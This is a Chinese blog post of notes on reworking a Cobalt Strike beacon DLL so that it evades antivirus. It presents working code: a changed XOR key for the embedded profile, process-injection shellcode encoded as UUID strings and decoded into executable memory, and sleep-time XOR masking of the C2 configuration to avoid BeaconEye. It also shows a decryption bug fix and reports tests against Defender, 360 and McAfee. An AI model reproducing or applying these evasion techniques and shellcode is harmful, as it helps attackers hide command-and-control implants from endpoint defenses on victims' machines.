cobalt strike beacon dll 改造实现免杀
前言:beacon dll 改造实现笔记
参考文章:https://github.com/WBGlIl/ReBeacon_Src
技术不到位,下不了手,而且相关的反射dll进程注入也有点问题,更多的可以参考https://github.com/H4de5-7/geacon_pro 这份,代码简洁易懂
异或特征修改
自己大概看完ReBeacon_Src项目之后,profile的特征点太大,虽然进行了异或加密,但是异或加密算法^0x2Eu
是固定写死的
beaconMain.cpp
// 解密内嵌的配置信息 for (int i = 0; i < 0x1000; ++i) { rawData[i] ^= 0x2Eu; }
那么这种情况下在解密的时候,这一串字节数组就是很大的特征点,放到virtualtotal检测也验证了这种情况,报毒的全是shellcode
定位到客户端代码中异或加密profile的部分,代码位于beacon.BeaconPayload#beacon_obfuscate
for(int var2 = 0; var2 < var0.length; ++var2) { var1[var2] = (byte)(var0[var2] ^ 46); }
这里修改的话直接将异或46的值修改为47
对应的beacon中的代码同样改为47,十六进制对应0x2Fu
替换配置文件的时候直接搜索0x2F 0x2E 0x2F 0x2E 0x2F
即可,然后进行替换测试上线,发现还是可以上线执行命令的,到这里的话第一处就改好了
shellcode特征码修改
将其改造成注入的时候进行uuid解码,注入完成之后进行释放解码时候的内存空间即可
Global.cpp
const unsigned char sub_10033020_length[76] = { 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01 }; const unsigned char sub_10033070_length[297] = { 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, }; const char* sub_10033020_uuid[] = { "56e58955-8b57-0875-8b4d-0ce800000000", "25c08358-ec83-8908-e2c7-420433000000", "09e80289-0000-8300-c414-5f5e5dc20800", "ff243c8b-482a-c031-57ff-d65f50c74424", "00002304-8900-243c-ff2c-240000000000", }; const char* sub_10033070_uuid[] = { "ce8948fc-8948-48e7-83e4-f0e8c8000000", "50415141-5152-4856-31d2-65488b526048", "4818528b-528b-4820-8b72-50480fb74a4a", "48c9314d-c031-3cac-617c-022c2041c1c9", "c101410d-ede2-4152-5148-8b52208b423c", "66d00148-7881-0b18-0275-728b80880000", "c0854800-6774-0148-d050-8b4818448b40", "d0014920-56e3-ff48-c941-8b34884801d6", "48c9314d-c031-41ac-c1c9-0d4101c138e0", "034cf175-244c-4508-39d1-75d858448b40", "d0014924-4166-0c8b-4844-8b401c4901d0", "88048b41-0148-41d0-5841-585e595a4158", "5a415941-8348-20ec-4152-ffe05841595a", "e9128b48-ff4f-ffff-5d4d-31c94151488d", "ff501846-1076-76ff-0841-51415149b801", "00000000-0000-4800-31d2-488b0e41bac8", "ff40a438-48d5-c085-740c-48b800000000", "00000000-0aeb-b848-0100-000000000000", "50c48348-8948-c3fc-0000-000000000000" };
common.cpp
#pragma pack(1) typedef struct { char field_0[sizeof(sub_10033020_length)]; HANDLE hProcess; DWORD field_12D; PVOID StartAddress; DWORD field_135; PVOID lpParameter; DWORD field_13D; HANDLE hThread; DWORD field_145; }BeaconShellcode; #pragma pack() int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter) { OSVERSIONINFOA VersionInformation = { 0 }; VersionInformation.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); if (!GetVersionExA(&VersionInformation)) { return 0; } if (VersionInformation.dwMajorVersion == 5 && VersionInformation.dwMinorVersion == 2) { SetLastError(5); return 0; } char* lpAddress = (char*)VirtualAlloc(0, sizeof(sub_10033020_length), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!lpAddress) { return 0; } DWORD dw_buf_num; DWORD_PTR p_ptr; BeaconShellcode* lpAddress2 = (BeaconShellcode*)VirtualAlloc(0, sizeof(BeaconShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!lpAddress2) { VirtualFree(lpAddress, 0, MEM_RELEASE); return 0; } // Generate uuid Decode dw_buf_num = sizeof((unsigned char*)sub_10033020_uuid) / sizeof(sub_10033020_uuid[0]); p_ptr = (DWORD_PTR)lpAddress; for (size_t i = 0; i < dw_buf_num; i++) { RPC_STATUS rpc_status = UuidFromStringA((unsigned char*)sub_10033020_uuid[i], (UUID*)p_ptr); if (rpc_status != RPC_S_OK) { return -1; } p_ptr += 16; } // Generate uuid Decode dw_buf_num = sizeof((unsigned char*)sub_10033070_uuid) / sizeof(sub_10033070_uuid[0]); p_ptr = (DWORD_PTR)lpAddress2; for (size_t i = 0; i < dw_buf_num; i++) { RPC_STATUS rpc_status = UuidFromStringA((unsigned char*)sub_10033070_uuid[i], (UUID*)p_ptr); if (rpc_status != RPC_S_OK) { return -1; } p_ptr += 16; } //memcpy(lpAddress, sub_10033020, sizeof(sub_10033020)); //memcpy(lpAddress2, sub_10033070, sizeof(sub_10033070)); lpAddress2->hThread = 0; lpAddress2->hProcess = hProcess; lpAddress2->StartAddress = BaseAddress; lpAddress2->lpParameter = lpParameter; if (!((int(__stdcall*)(BeaconShellcode*, HANDLE*))lpAddress)(lpAddress2, &lpAddress2->hProcess)) { VirtualFree(lpAddress, 0, MEM_RELEASE); VirtualFree(lpAddress2, 0, MEM_RELEASE); SetLastError(5); return 0; } if (!lpAddress2->hThread) { VirtualFree(lpAddress, 0, MEM_RELEASE); VirtualFree(lpAddress2, 0, MEM_RELEASE); SetLastError(6); return 0; } ResumeThread(lpAddress2->hThread); VirtualFree(lpAddress, 0, MEM_RELEASE); VirtualFree(lpAddress2, 0, MEM_RELEASE); return 1; }
测试下还是可以正常执行
C2Config堆内存加密
发现一个问题就是虽然在c2 profile中配置了sleep_mask,但是通过beaconEye工具还是检测到了C2Config
在BeaconSleep.cpp中对每次sleep之后进行异或加密即可隐藏配置信息
再次通过扫描进行扫描不出来了
通信标识符
在服务端和beacon通信的时候存在部分标志位的特征,可以同样可以进行修改,这里就不记录了
关于ReBeacon_Src的profile一个小bug
当自定义profile的http-get或者post的时候mask属性值来进行加密操作的时候
在beacon端的comm.cpp的xor_decode解密的时候,如果v8+v9去数组取值会导致错误
这里需要改为v11 = *(char*)(out + v8 + v9) ^ in[v8 & 3];
就可以正常运行了
杀毒测试
defender的环境测试如下所示
360核晶模式的环境测试如下所示
麦咖啡的环境测试如下所示
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY